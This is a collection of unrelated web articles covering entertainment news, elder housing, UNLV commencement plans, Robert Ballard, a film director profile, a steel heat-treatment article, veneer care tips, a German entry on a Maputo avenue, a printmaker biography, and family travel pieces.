Shankar May Produce A "Zelda" TV Series
Tuesday, October 30th 2018 10:28 am
Netflix's animated TV series adaptation of the "Castlevania" has scored very good reviews and has quickly managed to rack up a fan base. Now the show's producer Adi Shankar is currently in negotiations to produce another game adaptation – one based on Nintendo's flagship franchise "The Legend of Zelda".
Shankar recently confirmed that his next project is another video game adaptation and the success of "Castlevania" had "created this opportunity". He also indicated an announcement will be coming around mid-November.
It's not clear whether the 'Zelda' series would be live-action or animated, though the latter is more likely. Nintendo famously has avoided adaptations of its games for many years, but a year ago they began to change their stance, leading to a new "Super Mario Bros." animated feature currently in development at "Minions" creators Illumination Entertainment.
Netflix has previously expressed a desire to adapt the franchise, but that wasn't confirmed. Nintendo has not yet commented on the report.

The cost of living continues to grow every year, making it difficult for those who have saved for the future, but did not anticipate how dramatically their expenses would increase. Several of our previous posts have noted the concern that have been raised regarding our nation's ability to cover the costs of our aging adults through Social Security, Medicare and Medicaid, however a recently released study by the Joint Center for Housing Studies at Harvard University further confirms those notions. The study found that there the current generation that has retired or is coming upon retirement is facing greater financial trouble, leading to a lack of accessible and adequate housing, a problem for a population that will double in size.
There are specific elements of housing that need to be considered for the aging population, including accessibility to entrances either by ramp or walk up, single floor housing, whether that is in an apartment or a home, as well as wider entrances and doorways and walk in bathroom units, that are compatible with the size of wheelchairs and healthcare devices. However, according to the Center, only 3.5% of homes right now currently adhere to these elements of architectural design that are critical to elders staying in their homes. While a simple fix that many may propose would be to renovate the home in order to make it accessible, these types of renovations cost thousands of dollars that many elderly individuals cannot allocate out of their budget.
In an effort to maintain their housing situation, some elderly individuals have decided to cut back on transportation, refilling medicine that may be critical to maintain their health, as well as cutting back on buying food. All of these consequences lead elders to seclude themselves, which can further exacerbate health problems. Up to 95% of informal care for elders being taken on by family members, thus, it is important for elders to continue to maintain those relationships and for family members to be able to access their elderly family member and provide assistance in a safe environment.
For those elderly adults who do not have a close family relationship to offer support, other options are emerging. Some other people are starting to live in housing facilities that offer individual living spaces but provide community meals and social events. This new co-housing method keeps individuals accountable for each other and encourages a social environment, which has been shown in many studies to help prolong health and in turn, life.

Changing course, UNLV announces plans for in-person graduation ceremonies in May
Jacob Solis
In a surprise reversal Friday, UNLV President Keith Whitfield announced that the university was planning in-person commencement ceremonies for 2020 and 2021 graduates to be held outdoors at Sam Boyd Stadium in late May.
The change makes UNLV the first higher education institution in the state to make such plans, and marks a major milestone in the increasingly rapid transition away from strict virus-related restrictions and toward the expected "new normal."
UNLV had announced in February that graduation ceremonies would be held virtually, though Friday's change follows news earlier this week that all eight institutions in the Nevada System of Higher Education were making plans for vastly fewer restrictions to on-campus activities this fall, including gatherings and classroom instruction, pending changes in pandemic conditions and state guidelines.
In a letter to the campus community, Whitfield said the change had come as part of a "gradual transition to some sense of normalcy as long as the downward trend of the pandemic continues."
"This decision may surprise some, but I have given it much thought, and I absolutely believe we can offer a traditional commencement while adhering to public health guidelines," Whitfield wrote. "Graduation is the culmination of a student's educational journey and is a significant milestone in their UNLV career. We need to make every effort to provide an experience our graduates so richly deserve."
Friday's announcement was not without caveats. Whitfield also said in part that the university was still working with the state and that "any sustained setback in the fight against COVID-19" may necessitate adjustments to current plans.
Amid an expanding vaccination program and gradually warming weather, the number of newly reported coronavirus cases, hospitalizations and deaths has plateaued far below the winter peaks.
As numbers have improved, state and federal officials have rapidly advanced the timeline under which most people will be eligible for vaccinations. Less than a week after President Joe Biden instructed states to open vaccinations to all adults by May 1, Gov. Steve Sisolak announced that Nevada would open up vaccines on April 5.
UNLV Executive Vice President and Provost Chris Heavey said the decision to move to in-person ceremonies had come about just in the last few weeks, as timelines accelerated and the governor lifted capacity restrictions on large gatherings to 50 percent.
"We really looked at the timing about where we thought things would be in the middle of May and so over the last few weeks we've been starting to lay the foundation for the this decision, and where we're at now is still seeking the final approvals that will be necessary for the county and the state," Heavey said. "But we've had preliminary conversations with them that leaves us hopeful that we'll be able to actually have this ceremony."
Heavey said commencement would stretch over three to four ceremonies rather than the traditional two, in order to accommodate graduates from last year who participated in virtual graduations.
Pending state approval, Heavey said new 3-foot distancing guidelines unveiled by the CDC Friday would make a near-full ceremony of roughly 2,000 graduates "much more viable," and would allow each graduate to bring up to four guests for roughly 10,000 attendees total.
Still, even as federal, state and local health officials have relaxed guidelines, concerns remain among health officials over the possible increased spread of COVID-19 variants, which have caused spikes amid stalling vaccination programs in Europe and a noticeable uptick in cases in the Northeast U.S.
And transmission rates — though far lower than their peaks in December and January — still remain high in Clark County, according to the CDC.
In any eventuality, Heavey said the university should have a much firmer idea of whether plans will need to change once again within the next four to five weeks.
"As we saw, a year ago, literally today, you know how quickly you can pivot if you need to," Heavey said, referencing the sudden switch to online learning last March. "And so I think you can't take it to the bank until you know literally just a few days beforehand. But, by mid to late April, we should have high confidence that we can proceed or will have changed direction."

Robert Ballard
Meet Robert Ballard
Dr. Robert D. Ballard, best known for his 1985 discovery of the Titanic, has succeeded in tracking down numerous other significant shipwrecks, including the German battleship Bismarck, the lost fleet of Guadalcanal, the U.S. aircraft carrier Yorktown (sunk in the World War II Battle of Midway), and John F. Kennedy's boat, PT 109. In addition to being a National Geographic Society Explorer-in-Residence and a commissioner on the U.S. Commission on Ocean Policy, Ballard is the founder and head of the Institute for Exploration (IFE) at Mystic Marinelife Aquarium in Mystic, Connecticut. Specializing in deep-ocean archaeology, IFE's goal is to establish this new field of research utilizing evolving technology such as advanced mapping and imaging systems, underwater robotics and manned submersibles.
Born June 30, 1942, in Wichita, Kansas, Robert Ballard grew up in San Diego. He has a Ph.D. in marine geology and geophysics from the University of Rhode Island. He spent 30 years at Woods Hole Oceanographic Institution, where he helped develop manned submersibles and remotely operated vehicles for marine research. He went on to develop telecommunications technology to create "telepresence" for his JASON Project, which allows hundreds of thousands of school children to accompany him from afar on undersea explorations around the globe.
Ballard has published numerous books, scientific papers, and a dozen articles in National Geographic magazine. His 1997 best-selling book, Lost Liners, tells the story of the great transatlantic liners through memorable wrecks he has visited. Ballard has also acted as a special adviser on Steven Spielberg's futuristic Sea Quest television show. Ballard also has been featured in several National Geographic television programs, including the record breaking Secrets of the Titanic.
His discoveries also include the Mediterranean Sea finds of sunken remains of ships along ancient trade routes, two ancient Phoenician ships off Israel, the oldest shipwrecks ever found in deep water, and four 1,500 year-old wooden ships, one almost perfectly preserved in the Black Sea. Ballard's Black Sea project seeks evidence of a great flood possibly linked to Noah's Ark that may have struck the region thousands of years ago.
An explorer, a discoverer, and a historian, Robert Ballard's fascinating journeys can teach us a great deal about our past, and have encouraged taking tremendous strides in the survey of the undiscovered countries under the sea.

Good Company adds director Daniel Iglesias Jr.
Filmmaker Daniel Iglesias Jr., whose reel spans narrative storytelling to avant-garde fashion films with creativity and an eccentric visual style, has signed with full-service creative studio Good Company.
Iglesias' career started while attending Chapman University's renowned film school, where he earned a BFA in screen acting. At the same time, Iglesias and his friend Zack Sekuler began crafting images for his friends in the alt-rock band The Neighbourhood. Iglesias' career took off after directing his first music video for the band's breakout hit "Sweater Weather," which reached over 310 million views. He continues working behind the camera for The Neighbourhood and other artists like X Ambassadors and AlunaGeorge.
Iglesias uses elements of surrealism and a blend of avant-garde and commercial compositions, often stemming from innovative camera techniques. His work includes projects for clients like Ralph Lauren, Steve Madden, Skyy Vodka and Chrysler and the Vogue film Death Head Sphinx.
One of his most celebrated projects was a two-minute promo for Margaux the Agency. Designed as a "living magazine," Margaux Vol 1 merges creative blocking, camera movement and effects to create a kinetic visual catalog that is both classic and contemporary. The piece took home Best Picture at the London Fashion Film Festival, along with awards from the Los Angeles Film Festival, the International Fashion Film Awards and Promofest in Spain.
Iglesias' first project since joining Good Company was Ikea's Kama Sutra commercial for Ogilvy NY, a tongue-in-cheek exploration of the boudoir. Now he is working on a project for Paper Magazine and Tiffany.
"We all see the world through our own lens; through film, I can unscrew my lens and pop in onto other people and, by effect, change their point of view or even the depth of culture," he says. "That's why the medium excites me — I want to show people my lens."
We reached out to Iglesias to learn a bit more about how he works.
How do you go about picking the people you work with?
I do have a couple DPs and PDs I like to work with on the regular, depending on the job, and sometimes it makes sense to work with someone new. If it's someone new that I haven't worked with before, I typically look at three things to get a sense of how right they are for the project: image quality, taste and versatility. Then it's a phone call or meeting to discuss the project in person so we can feel out chemistry and execution strategy.
Do you trust your people completely in terms of what to shoot on, or do you like to get involved in that process as well?
I'm a pretty hands-on and involved director, but I think it's important to know what you don't know and delegate/trust accordingly. I think it's my job as a director to communicate, as detailed and effectively as possible, an accurate explanation of the vision (because nobody sees the vision of the project better than I do). Then I must understand that the DPs/PDs/etc. have a greater knowledge of their field than I do, so I must trust them to execute (because nobody understands how to execute in their fields better than they do).
Since Good Company also provides post, how involved do you get in that process?
I would say I edit 90% of my work. If I'm not editing it myself, then I still oversee the creative in post. It's great to have such a strong post workflow with Good Company.

A Detroit entrepreneur surprised university engineers here recently, when he invented a heat-treatment that makes steel 7 percent stronger than any steel on record – in less than 10 seconds.
In fact, the steel, now trademarked as Flash Bainite, has tested stronger and more shock-absorbing than the most common titanium alloys used by industry. Now the entrepreneur is working with researchers at Ohio State University to better understand the science behind the new treatment, called flash processing.
What they've discovered may hold the key to making cars and military vehicles lighter, stronger, and more fuel-efficient.
In the current issue of the journal Materials Science and Technology, the inventor and his Ohio State partners describe how rapidly heating and cooling steel sheets changes the microstructure inside the alloy to make it stronger and less brittle.
The basic process of heat-treating steel has changed little in the modern age, and engineer Suresh Babu is one of few researchers worldwide who still study how to tune the properties of steel in detail. He's an associate professor of materials science and engineering at Ohio State, and Director of the National Science Foundation (NSF) Center for Integrative Materials Joining for Energy Applications, headquartered at the university.
Cola showed them his proprietary lab setup at SFP Works, LLC., where rollers carried steel sheets through flames as hot as 1100 degrees Celsius and then into a cooling liquid bath. Though the typical temperature and length of time for hardening varies by industry, most steels are heat-treated at around 900 degrees Celsius for a few hours. Others are heated at similar temperatures for days.
Cola's entire process took less than 10 seconds.
He claimed that the resulting steel was 7 percent stronger than martensitic advanced high-strength steel. [Martensitic steel is so named because the internal microstructure is entirely composed of a crystal form called martensite.] Cola further claimed that his steel could be drawn – that is, thinned and lengthened – 30 percent more than martensitic steels without losing its enhanced strength.
If that were true, then Cola's steel could enable car makers to build frames that are up to 30 percent thinner and lighter without compromising safety. Or, it could reinforce an armored vehicle without weighing it down.
Cola is a self-taught metallurgist, and he wanted help from Babu and his team to reveal the physics behind the process – to understand it in detail so that he could find ways to adapt it and even improve it.

Porcelain veneers treat a range of cosmetic dental flaws with a single treatment performed in just two dental appointments. These tooth-shaped porcelain shells are placed over the front of the teeth to mask imperfections and enhance the appearance of the smile. Maintaining your porcelain veneers is easy as long as you follow our porcelain veneers aftercare instructions.
At North Pier Dental Dental Associates in Chicago, Dr. William Couvelis educates patients about the proper way to care for their veneers. In this blog post, we provide tips to keep your veneers looking flawless and new.
It is important to maintain, or even improve, your oral hygiene routine after getting porcelain veneers. This is critical for two reasons.
First, your natural teeth can still decay beneath the veneers. If you develop a cavity on a tooth that has a veneer, the veneer may need to be removed and replaced so you can have the cavity treated.
Second, keeping your veneers clean can prevent the staining and discoloration that can occur over a long period of time.
Brush your teeth at least twice a day, ideally in the morning when you wake up and at night before bed.
Floss your teeth once a day.
See the dentist every six months for a dental exam and professional cleaning.
While the high-quality porcelain that is used in veneers is resistant to stains, discoloration can still occur. There are steps that you can take to prevent stains and keep your veneers looking new for as long as possible.
First, be sure to follow our oral care instructions to remove food particles and other staining agents from the teeth.
Second, you may also wish to limit or prevent known stain-causing foods and drinks from coming into contact with your teeth.
Generally, dark-colored or deeply pigmented foods and drinks can stain the teeth. This includes beverages such as coffee, tea, dark sodas, and red wine. Foods that are more likely to cause stains include tomato sauce, soy sauce, and berries.
If you do consume these items, you can brush your teeth shortly after eating or drinking these items to remove food and drink particles from the teeth. You may also wish to drink stain-causing beverages through a straw to limit contact with the teeth.
Finally, you should not smoke cigarettes if you get porcelain veneers. Tobacco products can yellow the teeth and veneers, accelerating their need for replacement.
Certain habits can damage your porcelain veneers or cause them to become dislodged. Avoid having your teeth come into contact with non-edible items.
For example, don't open a beer bottle or soda can with your teeth. Don't use your teeth to break string or clothing tags. Don't chew on your fingernails or pen caps. Don't chew on ice or other hard items that can crack or chip the teeth.
By following these tips, your veneers can last for 10 years or more. If you have questions or concerns about your porcelain veneers, request a consultation at North Pier Dental today.

Die Avenida 24 de Julho, zu Deutsch "Allee des 24. Juli", ist eine etwa 4,7 Kilometer lange, größtenteils vierspurige Straße in der mosambikanischen Hauptstadt Maputo. Sie durchquert die Innenstadt von Maputo und verbindet die Stadtteile Polana, Central, Alto Maé und Malanga miteinander. Als Ein- und Ausfallstraße in die Innenstadt gehört sie zu den wichtigsten Maputos.

Geographie
Die Avenida 24 de Julho beginnt im Südosten der Innenstadt an der Kreuzung mit der Nord-Süd-Achse Avenida Julius Nyerere. Von dort aus führt sie in einer gerade Linie gen Nordwesten und quert dabei mehrere größere Straßen: Avenida Salvador Allende, Avenida Amílcar Cabral, Avenida Vladimir Lenine, Avenida Karl Marx und Avenida Guerra Popular. Die Straße mündet in den Kreisverkehr 16 de Junho, die wiederum zu den Straßen Avenida da Organização das Nações Unidas (Verbindung zur Baixa), Avenida da Organização da Unidade Africana (Auffahrt zur Autobahn in Richtung Matola) und Rua 2.019 (Verbindung zur Avenida do Trabalho) führt.

Verwaltungsrechtliche Einordnung
Wie jede Straße in der mosambikanischen Hauptstadt trägt auch diese eine Verwaltungsnummer. Die Avenida 24 de Julho führt durch die zwei Stadtbezirke KaMpfumo (1. Bezirk) und Nhlamankulu (2. Bezirk) und trägt deshalb die beiden Verwaltungsnummern "Avenida 1.092" und "Avenida 2.010"

Eine Ordnung ins nationale Straßennetz des Landes gibt es nicht.

Geschichte
Die Straße gehört zu den Grundachsen der Stadt und entstand im Zuge des Urbanisierungsplans Joaquim José Machados im Jahre 1887 gemeinsam mit der Parallelstraße Avenida Pinheiro Chagas (heute Avenida Eduardo Mondlane). Mit der zunehmenden Urbanisierung der Stadt in Richtung Westen (Ausgründung des Hafens in Richtung Matola) und Osten (Gründung der Stadtteile Polana und Sommerschield), wuchs die Bedeutung der Straße. Von Beginn an trägt sie das Datum der Gründung von Lourenço Marques, dem früheren Namen Maputos, den 24. Juli 1875.

Während im Zuge der Unabhängigkeit Mosambiks auch zahlreiche Namen in der Stadt verschwanden, blieb der Name der Straße bestehen – doch mit einer Bedeutungsverschiebung: Der 24. Juli steht seitdem für den 24. Juli 1975, dem Tag der Verkündung der Verstaatlichung des gesamten Landes, sprich Wirtschaft, Bildung, Gesundheit und Justiz.

Mit dem Wirtschaftsaufschwung nach Beendigung des Bürgerkrieges 1992 gewann die Straße durch mehr Verkehr auch an Bedeutung. Inzwischen häufen sich insbesondere zu Stoßzeiten die Staus auf der Straße. 2011 gab es Pläne den Mittelstreifen der Straße zu entfernen und mittels eines Ampelsystems jeweils zwei Fahrstreifen je nach Tageszeit in die jeweilige Richtung freizuschalten. Auch gab es Pläne Fahrstreifen für den (halb-)öffentlichen Nahverkehr – für Busse der TPM sowie Kleinbusse ("Chapas") – einzurichten. Bisher sind keine der Pläne verwirklicht worden.

Wichtige Gebäude

Entlang der Straße, insbesondere am Beginn, finden sich zahlreiche wichtige Gebäude der Stadt. Insbesondere im Stadtviertel Polana lädt die Straße mit Begrünung und zahlreichen Cafés und Restaurants zum Verweilen ein. Gemeinsam mit der Parallelstraße Avenida Eduardo Mondlane und der Querstraße Avenida Julius Nyerere befinden sich in diese eine Vielzahl von Hochhäusern, sowohl älteren wie jüngeren Datums.

Polana
Bereits an Ecke zur Avenida Julius Nyerere befindet sich das Polana Shopping Center, in den 2000ern eröffnetes Einkaufszentrum und damit eines der ersten der Stadt. Ebenso von Bedeutung sind die Ministerien für Bildung, Kultur und Widerstandskämpfer sowie das Nationale Museum für Geologie, die ebenfalls im ersten Teil der Straße ihren Sitz haben. An der Ecke beziehungsweise in der Avenidas das Lusíadas befindet sich der größte Busbahnhof der östlichen Innenstadt, der üblicherweise nur "Museu" (für das benachbarte Museu de História Natural de Moçambique) genannt wird. Dort enden und beginnen zahlreiche Linien der städtischen TPM-Busse sowie der (halb-)öffentlichen Kleinbusse ("Chapas").

Zwischen den Seitenstraßen Avenida Salvador Allende und Rua Dr. Almeida Ribeiro befindet sich das Einkaufszentrum "Shopping 24", an der Ecke zur Avenida Amílcar Cabral liegt das Einkaufszentrum "InterFranca" mit einem Großsupermarkt einer südafrikanischen Kette. Außerdem befindet sich auf der Höhe auch das Nationale Institut für Statistik (Instituto Nacional de Estatística).

Central
Im Straßenteil des Stadtteils Central befindet sich unter anderem der Sitz des Arbeitsministeriums (Ecke Avenida Karl Marx). Ebenso liegt dort das in den 1948 im Art-déco-Stil eröffnete Kino Cine África, das heute vor allem als Ort für Musik- und Tanzaufführungen dient. Bemerkenswert ist zudem das Gebäude der Industrieschule (Escola Industrial de Maputo), ursprünglich 1929 als Sitz der kolonialen Freimaurerloge (Paço Maçónico) errichtet.

Alto Maé
Während im östlichen Teil der Straße vor allem höherklassige und -wertige Geschäfte und Lokale ihren Platz finden, ist der Straßenteil im Stadtteil Alto Maé wesentlich vielschichtiger, zahlreiche kleine Geschäfte haben dort ihren Sitz. Ebenso dominiert dort der Straßenmarkt der Seitenstraße Avenida da Guerra Popular die benachbarten Straßen, so auch die Avenida 24 de Julho. An der Straßenecke zur Avenida Alberto Lithuli hat die Aga-Khan-Stiftung in einem 1968 errichteten repräsentativen Gebäude ihren Sitz. Zwei Straßen weiter, an der Avenida Mohamed Siad Barre befindet sich der Hauptsitz der Pfingstkirche Igreja Universal do Reino de Deus und gleichzeitig der größte Tempel dieser Glaubensgemeinschaft in Mosambik.

Gegenüber der Parkanlage "Jardim 28 de Maio", der umgangssprachlich auch "Jardim dos Madgermanes" genannt wird, befindet sich das Revolutionsmuseum (Museu da Revolução). Kurz vor der Avenida da Tanzânia, befindet sich der Sitz des mosambikanischen Parlamentes (Assembleia da República).

Malanga
Hinter der Avenida da Tanzânia überschreitet die Straße die Grenze des innerstädtischen Stadtbezirks KaMpfumo (1. Bezirk) zum Stadtbezirk Nhlamankulu (2. Bezirk), gleich zu Beginn befindet sich an der nördlichen Straßenseite die kleine Platzanlage Largo da Malanga. Die Umgebung ist hier vor allem durch kleine, einstöckige Wohnhäuser und Wellblechhüten geprägt. Nach gut 900 Metern mündet die Avenida 24 de Julho am Kreisverkehr Praça 16 de Junho. Hinter dem Kreisverkehr beginnt die Autobahnzufahrt mit dem kurz darauf folgenden Abzweig der beginnenden Nationalstraße EN1. Der Richtung der Avenida 24 de Julho folgend gelangt der Verkehr unter anderem zum Nachbarort Matola und weiter bis nach Namaacha, Goba und Eswatini (EN2/EN3) sowie nach Ressano Garcia und Südafrika (EN4).

Printmaker, architect and author Gerald Kenneth Geerlings was born in Milwaukee, Wisconsin on 18 April 1897. After serving in the military during World War I, he studied in England at St. John's College, Cambridge University. The next year he enrolled at the School of Architecture, University of Pennsylvania. After graduation he worked as an architect for several firms before starting his own. His printmaking career began when he was working as an architect. By 1928 he traveled to London to study etching at the Royal College of Art. He won his first award for a print in 1931, awarded by the Pennsylvania Academy of Fine Arts for "Jeweled City." In 1933 the Depression and a move to Connecticut caused him to interrupt his printmaking career. He returned to printmaking in the 1970s, producing a group of lithographs on Paris and New York City, including a series inspired by the American Bicentennial in 1976. Geerlings died in Connecticut at 101 years old in 1998.
(The above note was based on the biographical note found on the website of Kiechel Fine Art Gallery.)


I can't say enough about our day at the Echo Aquarium in Burlington. It truly was a perfect day filled with memorable moments and experiences that confirmed our decision to move to the area. Chris had taken the car to work that day and it was just the boys and myself. We were staying at the Hilton, our regular choice when we visit Burlington. It is situated along Battery Street, the perfect spot to be without a car. Great views of the Lake and walking distance to the Echo Aquarium and Church Street. Literally a 5-minute walk with two 4-year olds, so without the boys you could walk there in 3!
I overestimated the time it would take to get there and arrived to closed doors 15 minutes prior to opening. We were dressed warmly but the aquarium sits directly on the waterfront and the wind coming off the lake can be much colder than the temperature. It really wasn't worth walking back to the hotel and the boys needed to get some fresh air so we decided to wait it out. To my surprise, the kind lady opened the doors early so we could come in and get warm. It was much appreciated and it was the first of many kind and thoughtful acts from Vermonters that we encountered that day and throughout our trip.
The aquarium opens at 10 am and closes at 5 pm. It really is a perfectly sized aquarium for a mom with twin 4-year olds. It's not overwhelmingly big and crowded, there were other families there but I never felt that worry of losing a child as they played and explored different areas. There really was so much to offer, mostly everything was interactive learning and hands-on. They could move and balance on a snowboard exhibit and climb aboard a sailboat in the preschool area, where we spent hours making new friends and acquaintances.
They offer a cafe at the aquarium but I was itching to get us some Skinny Pancake that day. The Skinny Pancake is right across the street from the aquarium and is one of our favorite places to visit when staying in Burlington. I ordered a much-needed coffee for myself and warm apple cider for the boys for beverages. Our crepes were the 'Pooh Bear' honey and cinnamon with powdered sugar and the 'Apple and Brie' with ham and a side salad. We sat at a table sipping our warm drinks via mugs and my sweet Julian takes a sip and looks up at me and says, "I love you mom". Aside from great food, the skinny pancake offers a delightful restroom experience. I say experience because you need a code and have to walk down a beautifully muraled hallway that's shared by a super cool Peace and Justice store.
After a great lunch and more cool learning experiences, we head back to the aquarium we literally spent the rest of the day. Both boys and I, immensely enjoyed not only the aquarium itself but the people and families we interacted with throughout the day. To cap off a great day, we headed back to the hotel to jump in the pool for a quick dip to relax and warm up our muscles. The boys were so happy and tired I was able to talk them into a peanut butter and jelly dinner, and bath. Warm and comfy in our pajamas, the boys got their first glimpse of The Wizard of OZ all snuggled in the hotel bed with mom. A perfect ending to a perfect day! If you're staying a weekend with young kids in Burlington reserve a day for the aquarium. Some other worthwhile hits during winter months would be the Vermont Teddy Bear Factory in Shelburne, Ben and Jerry's Ice Cream factory, and Stowe for the skiers!

Great ideas for an unforgettable Spring Break
October 11, 2016 March 7, 2012 by Editor
Families have discovered that it is easier — and often cheaper — to get away in the spring than in the summer when camps and
summer jobs — not to mention work schedules and peak travel season perils — wreak havoc with family vacation planning.
You'll find plenty of good deals too, wherever you want to go. Here are 23 ideas to get you started. You can find read a lot more about most of these destinations in my columns and travel diaries. Just enter the destination in the search tool.
1.ADVENTURE The Grand Canyon, for example, is a terrific spring option — especially when you can trek through narrow side canyons and camp, cooling off in the waters from Havasu Falls. This is a no-work camping trip, though, because Austin Adventures guides do all the work. Check out www.fsguides.com for other guided adventure options in beautiful wild places. Here's your chance to send a postcard from the Native American village of Supai — the most remote in the country. REI Adventures is another great option for a wilderness adventure led by professionals who take care of much of the camp work for you. They also offer a week in the remote area of the Grand Canyon's Havasu Falls, or a backpacking adventure in the Great Smoky Mountains. Go to Peru or take your teens on a trek to Everest base camp (just $1,411 per person for 15 days) with Australia-based Intrepid Travel where your trip might include a home stay with a local family. Or try searching for whales with Sea Kayak Adventures in Mexico's newest national marine park.
2.ALOHA Hawaii. Especially if you are on the West Coast, you'll find great deals in Hawaii like those from Pleasant Holidays where you can score an air-car-condo deal. Concentrate your stay on one island like Kauai where you can stay at a luxe resort like Grand Hyatt Kauai Resort, the centrally located Kauai Marriott Resort or a relaxed condo like The Colony Resort on the North Shore and take your pick of adventures—surfing, snorkeling, hiking. Opt for a different kind of all inclusive at Kona Village where you stay in thatched-roof bungalows with no TVs and the kids will leave with a new appreciation for the ancient Hawaiian culture.
3. ATLANTIS, the gargantuan (3,500-room ) Paradise Island resort boasts everything from a teen club CRUSH to cooking lessons for kids to interactions with dolphins and sea lions and an expansive Aquaventure Waterpark as well as spa treatments (for kids as well as parents) and some 40 restaurants and lounges. But despite kids eat and stay free deals, Atlantis can be expensive when you add up all of the activity charges.
4. BELIZE or Costa Rica Check out Chaa Creek Lodge, Located at the base of the Maya Mountains in Belize, where you can visit well-preserved Mayan sites, stay on a private nature preserve, ride horses through a jungle, canoe, visit the butterfly farm and combine a stay at a beach resort. Kids up to 18 stay free when sharing a room with parents at the Chaa Creek and the resort offers babysitting services and jungle safaris for kids. Commune with the monkeys in Costa Rica. Friendly Planet Travel has some extraordinarily well-priced tours. Look for other kid-friendly tours from companies like Wildland Adventures and Thomson Family Adventures.
5. CITY LIGHTS Amtrak offers significant discounts for kids to let you explore a nearby city over a weekend when hotels are eager to fill rooms which means you will score a deal. Check websites like www.getaroom.com and www.hotels.com , or check www.craigslist.com for apartment rentals in cities where you want to visit and propose what you are willing to pay. Check the city's official tourism website like www.bostonusa.com, www.nycgo.com or www.sanfrancisco.travel for the latest deals and to see what special family offerings are available when you want to visit—new museum exhibits, theater productions? Let each child plan a day of the itinerary. You will be amazed where they lead you!
6. CALIFORNIA Take your pick of Disneyland (look for kids fly free deals), Universal Studios Hollywood or Legoland. You can head to to beach towns like Huntington Beach, explore museums and restaurants in San Francisco, shop till you drop in Los Angeles, maybe spying a celebrity and San Diego. Want to commune with the animals? Go Whale Watching and to the Monterey Bay Aquarium in Monterey or head to the famous San Diego Zoo or Sea World.
7. COLLEGE TOURING-Leave the other kids in the family behind and opt for some one-on-one time with your high school junior. Stay in a Bed and Breakfast near the campus to pick up some intel from locals. Don't try to cram too many schools into one trip. They all start to seem the same! Check out www.goseecampus.com, a free website offering the first online college trip planner for high school students and parents. Bring a lap top or iPad and have your high schooler jot down some thoughts after each visit. What did he like? What didn't she like? And if you drive up to the campus and they refuse to get out of the car, keep driving.
8. CHERRY BLOSSOMS Spring is a terrific time to visit Washington, DC. The National Cherry Blossom Festival starts March 20 and lasts until April 27 and even includes a special Blossom Kite Festival. There are plenty of freebies (or nearly free) like seeing the stars in Rock Creek Park at the only planetarium operated by the National Park Service, touring the the National Mall with DC by Foot, a walking tour company that gives kid-friendly tours complete with games and fun facts, See money made with a free tour of the Bureau of Engraving and Printing, Play pilot in a mock cockpit at America by Air, an exhibition on permanent display at the Smithsonian National Air and Space Museum. Get close to original Declaration of Independence, U.S. Constitution and Bill of Rights at the National Archives, then stick around to research your own family's immigration records. The Fairmont Washington, D.C. is collaborating with Friends of the National Zoo on The Panda Package in honor of the giant pandas – Mei Xiang and Tian Tian. Families The package includes overnight accommodations for two adults and two children and a Zoo Welcome Kit featuring a cuddly stuffed plush panda, a zoo map, Zoo Tycoon 2 computer game for Windows, and more. For every room night booked $10 USD of the room rate will be donated to the Giant Panda Conservation Fund. Rates start from $199.
9. EUROPE It's a lot less crowded, less hot and cheaper than in the summer! If you book a package that includes flight and hotel on a website like www.travelocity.com you can save as much 20%. Plan a 10 day 8 night spring break trip to the historic cities of Florence and Rome with www.tourcrafters.com. The package for two adults and one child up to 16 in a triple room costs $1,049 per adult and $720 per child.

Prices are valid from March 1 to 31, 2012. Opt for an active European adventure (Kayak and bike the Croatian coast perhaps?) with Adventure Center's multi-activity family trips. On the Croatian Coastal Adventure, you can run rivers, canoe and kayak along the coast, along with bicycling through villages and discovering Croatia's Rich history!
10 .COOKING TOGETHER Learn how to make a delicious Italian pizza or pasta by hand, while exploring regions of Italy famous for the culinary traditions along the way. Boston-based Lauren Birmingham Piscitelli leads culinary tours in Italy with a focus on kids cooking — whether they are three or 18.
11. FLORIDA. There is a lot more to see and do than Orlando in the Sunshine State. Head to a resort like Sandestin on the Gulf Coast where you can sign the kids—and yourselves–up for golf and tennis clinics as well as explore miles-long white-sand beaches. Sandestin is offering many deals this coming spring, including Stay 4 nights and receive the 5th night free (Mention Code FREE5), a 21-Day Advance Purchase – Book your stay early and receive up to 25% off select accommodations for your Spring Break visit (Mention Code LOWEST), and the possibility to save up to 25% off a consecutive seven-night stay on select accommodations for your week-long visit (Mention Code WEEKLY).

12. FOLLOW THE SUN TO THE CARIBBEAN Low season starts in mid-April which means prices drop dramatically. But this year, you will find plenty of deals in March too.
Look for packages like at St. Croix's Buccaneer which offers free breakfast, kids club and among many other spring specials. Check out the new junior tennis camps at the beautiful yet quiet Curtain Bluff Resort on Antigua. Rock Resorts are touting a free night at its rapidly expanding group of Caribbean properties, many which have condo-like accommodations.

Westin Resort Hilton Head Island has a kids camp for ages four to twelve, which includes crafts, trips to the pool and beach, and more!
15. HISTORY Build a trip around American history whether in the Historic Triangle of Colonial Williamsburg, Jamestown and Yorktown, or Boston where you can walk the Freedom Trail with a costumed interpreter or Philadelphia where you can see the Liberty Bell in the new Liberty Bell Center. If your family is into war history, you can also tour a battlefield like Valley Forge or Gettysburg.
16.HIT THE SLOPES There's nothing like some spring skiing sunshine. Look for late-season deals across the country from Vermont to Colorado, Utah and California Websites like www.ski.com can save you significantly when you book flights, lodging and lifts together. For example, the Sky Lodge in Park City, UT () is offering the "Stay Three, Stay Free & Ride Free" package, where you can get a 4th night free and a 4th day of skiing complimentary–this includes daily lift tickets to Park City or Deer Valley. The package is available March 16, 2012 through April 15, 2012, excluding certain blackout dates. You can save up to $800! Look for family oriented festivals like Kidtopia at Keystone Resort in Colorado. If everyone in your gang is a beginner, consider smaller mountains near where you live–Hunter Mountain in New York, for example, Crystal Mountain in Michigan, Brian Head Resort in Utah, Bolton Valley in Vermont and Mount Rose on the North Shore of Lake Tahoe.
17. HOME AWAY FROM HOME Whether you want to head to the mountain slopes or the beach, book a condo or vacation home and you can invite your favorite niece to babysit the toddler, join forces with another family (great for single parents!) or invite a friend for your teen or tween. Check out www.perfectfamilyvacation.com for good deals on digs in resort locales with multi-bedrooms. Also try sites like www.vrbo.com and www.homeaway.com where you can negotiate directly with a homeowner. Look for free nights from www.resortquest.com.
18. MEXICO You'll find great deals at Mexico all-inclusives along the Riviara Maya, which is still considered safe place to to vacation. Those who like history and archeology, will be fascinated by visits to ancient Mayan towns, such as Tulum or Coba. Head to eco-cultural nature and water parks, Xcaret and Xel-Ha, where you can swim with dolphins, drift on crystal-clear underground rivers or enjoy various shows by Mayan performers. Adventure lovers will enjoy zip-lining, ATV driving or horseback riding in the jungle, and snorkeling or diving in the Caribbean Sea that boasts the world's second largest coral reef.
